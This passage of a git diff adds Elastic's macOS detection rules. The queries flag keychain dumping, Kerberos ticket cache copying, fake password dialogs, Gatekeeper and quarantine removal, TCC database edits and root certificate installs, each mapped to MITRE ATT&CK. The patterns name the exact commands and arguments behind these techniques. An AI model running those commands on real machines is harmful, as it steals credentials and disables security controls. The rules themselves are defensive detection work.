''' +event.category:process and event.type:start and + process.name:(defaults or mkpassdb) and process.args:(ShadowHashData or "-dump") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_dumping_keychain_security.toml b/rules/macos/credential_access_dumping_keychain_security.toml new file mode 100644 index 000000000..84dbc6038 --- /dev/null +++ b/rules/macos/credential_access_dumping_keychain_security.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/01/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may dump the content of the keychain storage data from a system to acquire credentials. Keychains are the +built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi +and website passwords, secure notes, certificates, and Kerberos. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Dumping of Keychain Content via Security Command" +references = ["https://ss64.com/osx/security.html"] +risk_score = 73 +rule_id = "565d6ca5-75ba-4c82-9b13-add25353471c" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.args : "dump-keychain" and process.args : "-d" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.001" +name = "Keychain" +reference = "https://attack.mitre.org/techniques/T1555/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_kerberosdump_kcc.toml b/rules/macos/credential_access_kerberosdump_kcc.toml new file mode 100644 index 000000000..ec04935ac --- /dev/null +++ b/rules/macos/credential_access_kerberosdump_kcc.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = "Identifies the use of the Kerberos credential cache (kcc) utility to dump locally cached Kerberos tickets." +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Kerberos Cached Credentials Dumping" +references = [ + "https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/kerberosdump.py", + "https://opensource.apple.com/source/Heimdal/Heimdal-323.12/kuser/kcc-commands.in.auto.html", +] +risk_score = 73 +rule_id = "ad88231f-e2ab-491c-8fc6-64746da26cfe" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:kcc and + process.args:copy_cred_cache +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1003" +name = "OS Credential Dumping" +reference = "https://attack.mitre.org/techniques/T1003/" + +[[rule.threat.technique]] +id = "T1558" +name = "Steal or Forge Kerberos Tickets" +reference = "https://attack.mitre.org/techniques/T1558/" + + [[rule.threat.technique.subtechnique]] + name = "Kerberoasting" + id = "T1558.003" + reference = "https://attack.mitre.org/techniques/T1558/003/" + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml b/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml new file mode 100644 index 000000000..9f07567f6 --- /dev/null +++ b/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml @@ -0,0 +1,64 @@ +[metadata] +creation_date = "2020/01/06" +maturity = "production" +updated_date = "2021/03/08" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may collect keychain storage data from a system to in order to acquire credentials. Keychains are the +built-in way for macOS to keep track of users' passwords and credentials for many services and features, including Wi-Fi +and website passwords, secure notes, certificates, and Kerberos. +""" +false_positives = ["Applications for password management."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Keychain Password Retrieval via Command Line" +references = [ + "https://www.netmeister.org/blog/keychain-passwords.html", + "https://github.com/priyankchheda/chrome_password_grabber/blob/master/chrome.py", + "https://ss64.com/osx/security.html", + "https://www.intezer.com/blog/research/operation-electrorat-attacker-creates-fake-companies-to-drain-your-crypto-wallets/", +] +risk_score = 73 +rule_id = "9092cd6c-650f-4fa3-8a8a-28256c7489c9" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type == "start" and + process.name : "security" and process.args : "-wa" and process.args : ("find-generic-password", "find-internet-password") and + process.args : ("Chrome*", "Chromium", "Opera", "Safari*", "Brave", "Microsoft Edge", "Edge", "Firefox*") and + not process.parent.executable : "/Applications/Keeper Password Manager.app/Contents/Frameworks/Keeper Password Manager Helper*/Contents/MacOS/Keeper Password Manager Helper*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.001" +name = "Keychain" +reference = "https://attack.mitre.org/techniques/T1555/001/" + +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.003" +name = "Credentials from Web Browsers" +reference = "https://attack.mitre.org/techniques/T1555/003/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/macos/credential_access_mitm_localhost_webproxy.toml b/rules/macos/credential_access_mitm_localhost_webproxy.toml new file mode 100644 index 000000000..1793757b7 --- /dev/null +++ b/rules/macos/credential_access_mitm_localhost_webproxy.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/01/05" +maturity = "production" +updated_date = "2021/03/09" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of the built-in networksetup command to configure webproxy settings. This may indicate an attempt to +hijack web browser traffic for credential access via traffic sniffing or redirection. +""" +false_positives = ["Legitimate WebProxy Settings Modification"] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "WebProxy Settings Modification" +references = [ + "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/", + "https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf", +] +risk_score = 47 +rule_id = "10a500bb-a28f-418e-ba29-ca4c8d1a9f2f" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category : process and event.type : start and + process.name : networksetup and process.args : (("-setwebproxy" or "-setsecurewebproxy" or "-setautoproxyurl") and not (Bluetooth or off)) and + not process.parent.executable : ("/Library/PrivilegedHelperTools/com.80pct.FreedomHelper" or + "/Applications/Fiddler Everywhere.app/Contents/Resources/app/out/WebServer/Fiddler.WebUi" or + "/usr/libexec/xpcproxy") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1539" +name = "Steal Web Session Cookie" +reference = "https://attack.mitre.org/techniques/T1539/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_potential_ssh_bruteforce.toml b/rules/macos/credential_access_potential_ssh_bruteforce.toml new file mode 100644 index 000000000..c1dac3600 --- /dev/null +++ b/rules/macos/credential_access_potential_ssh_bruteforce.toml @@ -0,0 +1,45 @@ +[metadata] +creation_date = "2020/11/16" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a high number (20) of macOS SSH KeyGen process executions from the same host. An adversary may attempt a +brute force attack to obtain unauthorized access to user accounts. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential SSH Brute Force Detected" +references = ["https://themittenmac.com/detecting-ssh-activity-via-process-monitoring/"] +risk_score = 47 +rule_id = "ace1e989-a541-44df-93a8-a8b0591b63c0" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +type = "threshold" + +query = ''' +event.category:process and event.type:start and process.name:"sshd-keygen-wrapper" and process.parent.name:launchd +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1110" +name = "Brute Force" +reference = "https://attack.mitre.org/techniques/T1110/" + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + +[rule.threshold] +field = ["host.id"] +value = 20 + diff --git a/rules/macos/credential_access_promt_for_pwd_via_osascript.toml b/rules/macos/credential_access_promt_for_pwd_via_osascript.toml new file mode 100644 index 000000000..994a99d21 --- /dev/null +++ b/rules/macos/credential_access_promt_for_pwd_via_osascript.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2020/11/16" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of osascript to execute scripts via standard input that may prompt a user with a rogue dialog for +credentials. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Prompt for Credentials with OSASCRIPT" +references = [ + "https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/prompt.py", + "https://ss64.com/osx/osascript.html", +] +risk_score = 73 +rule_id = "38948d29-3d5d-42e3-8aec-be832aaaf8eb" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "osascript" and + process.command_line : "osascript*display dialog*password*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1056" +name = "Input Capture" +reference = "https://attack.mitre.org/techniques/T1056/" +[[rule.threat.technique.subtechnique]] +id = "T1056.002" +name = "GUI Input Capture" +reference = "https://attack.mitre.org/techniques/T1056/002/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" + diff --git a/rules/macos/credential_access_systemkey_dumping.toml b/rules/macos/credential_access_systemkey_dumping.toml new file mode 100644 index 000000000..9e54cf24e --- /dev/null +++ b/rules/macos/credential_access_systemkey_dumping.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/01/07" +maturity = "production" +updated_date = "2022/03/27" + +[rule] +author = ["Elastic"] +description = """ +Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and +features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos. Adversaries may collect the +keychain storage data from a system to acquire credentials. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SystemKey Access via Command Line" +references = ["https://github.com/AlessandroZ/LaZagne/blob/master/Mac/lazagne/softwares/system/chainbreaker.py"] +risk_score = 73 +rule_id = "d75991f2-b989-419d-b797-ac1e54ec2d61" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Credential Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.args:("/private/var/db/SystemKey" or "/var/db/SystemKey") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1555" +name = "Credentials from Password Stores" +reference = "https://attack.mitre.org/techniques/T1555/" +[[rule.threat.technique.subtechnique]] +id = "T1555.001" +name = "Keychain" +reference = "https://attack.mitre.org/techniques/T1555/001/" + + + +[rule.threat.tactic] +id = "TA0006" +name = "Credential Access" +reference = "https://attack.mitre.org/tactics/TA0006/" diff --git a/rules/macos/defense_evasion_apple_softupdates_modification.toml b/rules/macos/defense_evasion_apple_softupdates_modification.toml new file mode 100644 index 000000000..9d1d262aa --- /dev/null +++ b/rules/macos/defense_evasion_apple_softupdates_modification.toml @@ -0,0 +1,50 @@ +[metadata] +creation_date = "2021/01/15" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies changes to the SoftwareUpdate preferences using the built-in defaults command. Adversaries may abuse this in +an attempt to disable security updates. +""" +false_positives = ["Authorized SoftwareUpdate Settings Changes"] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "SoftwareUpdate Preferences Modification" +references = ["https://blog.checkpoint.com/2017/07/13/osxdok-refuses-go-away-money/"] +risk_score = 47 +rule_id = "f683dcdf-a018-4801-b066-193d4ae6c8e5" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:defaults and + process.args:(write and "-bool" and (com.apple.SoftwareUpdate or /Library/Preferences/com.apple.SoftwareUpdate.plist) and not (TRUE or true)) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_attempt_del_quarantine_attrib.toml b/rules/macos/defense_evasion_attempt_del_quarantine_attrib.toml new file mode 100644 index 000000000..8fc3008ed --- /dev/null +++ b/rules/macos/defense_evasion_attempt_del_quarantine_attrib.toml @@ -0,0 +1,62 @@ +[metadata] +creation_date = "2020/08/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies a potential Gatekeeper bypass. In macOS, when applications or programs are downloaded from the internet, +there is a quarantine flag set on the file. This attribute is read by Apple's Gatekeeper defense program at execution +time. An adversary may disable this attribute to evade defenses. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Attempt to Remove File Quarantine Attribute" +references = [ + "https://www.trendmicro.com/en_us/research/20/k/new-macos-backdoor-connected-to-oceanlotus-surfaces.html", + "https://ss64.com/osx/xattr.html", +] +risk_score = 47 +rule_id = "f0b48bbc-549e-4bcf-8ee0-a7a72586c6a7" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.args : "xattr" and + ( + (process.args : "com.apple.quarantine" and process.args : ("-d", "-w")) or + (process.args : "-c" and process.command_line : + ( + "/bin/bash -c xattr -c *", + "/bin/zsh -c xattr -c *", + "/bin/sh -c xattr -c *" + ) + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_attempt_to_disable_gatekeeper.toml b/rules/macos/defense_evasion_attempt_to_disable_gatekeeper.toml new file mode 100644 index 000000000..6eacbcd67 --- /dev/null +++ b/rules/macos/defense_evasion_attempt_to_disable_gatekeeper.toml @@ -0,0 +1,46 @@ +[metadata] +creation_date = "2021/01/11" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Detects attempts to disable Gatekeeper on macOS. Gatekeeper is a security feature that's designed to ensure that only +trusted software is run. Adversaries may attempt to disable Gatekeeper before executing malicious code. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Disable Gatekeeper" +references = [ + "https://support.apple.com/en-us/HT202491", + "https://www.carbonblack.com/blog/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", +] +risk_score = 47 +rule_id = "4da13d6e-904f-4636-81d8-6ab14b4e6ae9" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.args:(spctl and "--master-disable") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1553" +name = "Subvert Trust Controls" +reference = "https://attack.mitre.org/techniques/T1553/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_install_root_certificate.toml b/rules/macos/defense_evasion_install_root_certificate.toml new file mode 100644 index 000000000..fae68587e --- /dev/null +++ b/rules/macos/defense_evasion_install_root_certificate.toml @@ -0,0 +1,51 @@ +[metadata] +creation_date = "2021/01/13" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to their command +and control servers. Root certificates are used in public key cryptography to identify a root certificate authority +(CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of +trust that have been signed by the root certificate. +""" +false_positives = ["Certain applications may install root certificates for the purpose of inspecting SSL traffic."] +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Attempt to Install Root Certificate" +references = ["https://ss64.com/osx/security-cert.html"] +risk_score = 47 +rule_id = "bc1eeacf-2972-434f-b782-3a532b100d67" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:(start or process_started) and + process.name:security and process.args:"add-trusted-cert" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1553" +name = "Subvert Trust Controls" +reference = "https://attack.mitre.org/techniques/T1553/" +[[rule.threat.technique.subtechnique]] +id = "T1553.004" +name = "Install Root Certificate" +reference = "https://attack.mitre.org/techniques/T1553/004/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_modify_environment_launchctl.toml b/rules/macos/defense_evasion_modify_environment_launchctl.toml new file mode 100644 index 000000000..8022026de --- /dev/null +++ b/rules/macos/defense_evasion_modify_environment_launchctl.toml @@ -0,0 +1,63 @@ +[metadata] +creation_date = "2021/01/14" +maturity = "production" +updated_date = "2021/03/09" + +[rule] +author = ["Elastic"] +description = """ +Identifies modifications to an environment variable using the built-in launchctl command. Adversaries may execute their +own malicious payloads by hijacking certain environment variables to load arbitrary libraries or bypass certain +restrictions. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification of Environment Variable via Launchctl" +references = [ + "https://github.com/rapid7/metasploit-framework/blob/master//modules/post/osx/escalate/tccbypass.rb", +] +risk_score = 47 +rule_id = "7453e19e-3dbf-4e4e-9ae0-33d6c6ed15e1" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:start and + process.name:launchctl and + process.args:(setenv and not (JAVA*_HOME or + RUNTIME_JAVA_HOME or + DBUS_LAUNCHD_SESSION_BUS_SOCKET or + ANT_HOME or + LG_WEBOS_TV_SDK_HOME or + WEBOS_CLI_TV or + EDEN_ENV) + ) and + not process.parent.executable:("/Applications/NoMachine.app/Contents/Frameworks/bin/nxserver.bin" or + "/usr/local/bin/kr" or + "/Applications/NoMachine.app/Contents/Frameworks/bin/nxserver.bin" or + "/Applications/IntelliJ IDEA CE.app/Contents/jbr/Contents/Home/lib/jspawnhelper") +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1574" +name = "Hijack Execution Flow" +reference = "https://attack.mitre.org/techniques/T1574/" +[[rule.threat.technique.subtechnique]] +id = "T1574.007" +name = "Path Interception by PATH Environment Variable" +reference = "https://attack.mitre.org/techniques/T1574/007/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml b/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml new file mode 100644 index 000000000..1c809f2a9 --- /dev/null +++ b/rules/macos/defense_evasion_privacy_controls_tcc_database_modification.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/12/23" +maturity = "production" +updated_date = "2021/08/25" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of sqlite3 to directly modify the Transparency, Consent, and Control (TCC) SQLite database. This may +indicate an attempt to bypass macOS privacy controls, including access to sensitive resources like the system camera, +microphone, address book, and calendar. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Privacy Control Bypass via TCCDB Modification" +references = [ + "https://applehelpwriter.com/2016/08/29/discovering-how-dropbox-hacks-your-mac/", + "https://github.com/bp88/JSS-Scripts/blob/master/TCC.db%20Modifier.sh", + "https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8", +] +risk_score = 47 +rule_id = "eea82229-b002-470e-a9e1-00be38b14d32" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and process.name : "sqlite*" and + process.args : "/*/Application Support/com.apple.TCC/TCC.db" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_privilege_escalation_privacy_pref_sshd_fulldiskaccess.toml b/rules/macos/defense_evasion_privilege_escalation_privacy_pref_sshd_fulldiskaccess.toml new file mode 100644 index 000000000..a145e387c --- /dev/null +++ b/rules/macos/defense_evasion_privilege_escalation_privacy_pref_sshd_fulldiskaccess.toml @@ -0,0 +1,61 @@ +[metadata] +creation_date = "2020/01/11" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies use of the Secure Copy Protocol (SCP) to copy files locally by abusing the auto addition of the Secure Shell +Daemon (sshd) to the authorized application list for Full Disk Access. This may indicate attempts to bypass macOS +privacy controls to access sensitive files. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "eql" +license = "Elastic License v2" +name = "Potential Privacy Control Bypass via Localhost Secure Copy" +references = [ + "https://blog.trendmicro.com/trendlabs-security-intelligence/xcsset-mac-malware-infects-xcode-projects-performs-uxss-attack-on-safari-other-browsers-leverages-zero-day-exploits/", +] +risk_score = 73 +rule_id = "c02c8b9f-5e1d-463c-a1b0-04edcdfe1a3d" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Privilege Escalation", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "eql" + +query = ''' +process where event.type in ("start", "process_started") and + process.name:"scp" and + process.args:"StrictHostKeyChecking=no" and + process.command_line:("scp *localhost:/*", "scp *127.0.0.1:/*") and + not process.args:"vagrant@*127.0.0.1*" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1548" +name = "Abuse Elevation Control Mechanism" +reference = "https://attack.mitre.org/techniques/T1548/" + + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/macos/defense_evasion_safari_config_change.toml b/rules/macos/defense_evasion_safari_config_change.toml new file mode 100644 index 000000000..268fe3771 --- /dev/null +++ b/rules/macos/defense_evasion_safari_config_change.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2021/01/14" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies changes to the Safari configuration using the built-in defaults command. Adversaries may attempt to enable or +disable certain Safari settings, such as enabling JavaScript from Apple Events to ease in the hijacking of the users +browser. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Modification of Safari Settings via Defaults Command" +references = ["https://objectivebythesea.com/v2/talks/OBTS_v2_Zohar.pdf"] +risk_score = 47 +rule_id = "6482255d-f468-45ea-a5b3-d3a7de1331ae" +severity = "medium" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:process and event.type:start and + process.name:defaults and process.args: + (com.apple.Safari and write and not + ( + UniversalSearchEnabled or + SuppressSearchSuggestions or + WebKitTabToLinksPreferenceKey or + ShowFullURLInSmartSearchField or + com.apple.Safari.ContentPageGroupIdentifier.WebKit2TabsToLinks + ) + ) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1562" +name = "Impair Defenses" +reference = "https://attack.mitre.org/techniques/T1562/" +[[rule.threat.technique.subtechnique]] +id = "T1562.001" +name = "Disable or Modify Tools" +reference = "https://attack.mitre.org/techniques/T1562/001/" + + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_sandboxed_office_app_suspicious_zip_file.toml b/rules/macos/defense_evasion_sandboxed_office_app_suspicious_zip_file.toml new file mode 100644 index 000000000..16e134cef --- /dev/null +++ b/rules/macos/defense_evasion_sandboxed_office_app_suspicious_zip_file.toml @@ -0,0 +1,33 @@ +[metadata] +creation_date = "2021/01/11" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the creation of a suspicious zip file prepended with special characters. Sandboxed Microsoft Office +applications on macOS are allowed to write files that start with special characters, which can be combined with an +AutoStart location to achieve sandbox evasion. +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "Potential Microsoft Office Sandbox Evasion" +references = [ + "https://i.blackhat.com/USA-20/Wednesday/us-20-Wardle-Office-Drama-On-macOS.pdf", + "https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/", + "https://desi-jarvis.medium.com/office365-macos-sandbox-escape-fcce4fa4123c", +] +risk_score = 73 +rule_id = "d22a85c6-d2ad-4cc4-bf7b-54787473669a" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category:file and not event.type:deletion and file.name:~$*.zip +''' + diff --git a/rules/macos/defense_evasion_tcc_bypass_mounted_apfs_access.toml b/rules/macos/defense_evasion_tcc_bypass_mounted_apfs_access.toml new file mode 100644 index 000000000..38ef18992 --- /dev/null +++ b/rules/macos/defense_evasion_tcc_bypass_mounted_apfs_access.toml @@ -0,0 +1,44 @@ +[metadata] +creation_date = "2020/01/04" +maturity = "production" +updated_date = "2021/03/03" + +[rule] +author = ["Elastic"] +description = """ +Identifies the use of the mount_apfs command to mount the entire file system through Apple File System (APFS) snapshots +as read-only and with the noowners flag set. This action enables the adversary to access almost any file in the file +system, including all user data and files protected by Apple’s privacy framework (TCC). +""" +from = "now-9m" +index = ["auditbeat-*", "logs-endpoint.events.*"] +language = "kuery" +license = "Elastic License v2" +name = "TCC Bypass via Mounted APFS Snapshot Access" +references = ["https://theevilbit.github.io/posts/cve_2020_9771/"] +risk_score = 73 +rule_id = "b00bcd89-000c-4425-b94c-716ef67762f6" +severity = "high" +tags = ["Elastic", "Host", "macOS", "Threat Detection", "Defense Evasion"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.category : process and event.type : (start or process_started) and process.name : mount_apfs and + process.args : (/System/Volumes/Data and noowners) +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1006" +name = "Direct Volume Access" +reference = "https://attack.mitre.org/techniques/T1006/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/macos/defense_evasion_unload_endpointsecurity_kext.toml 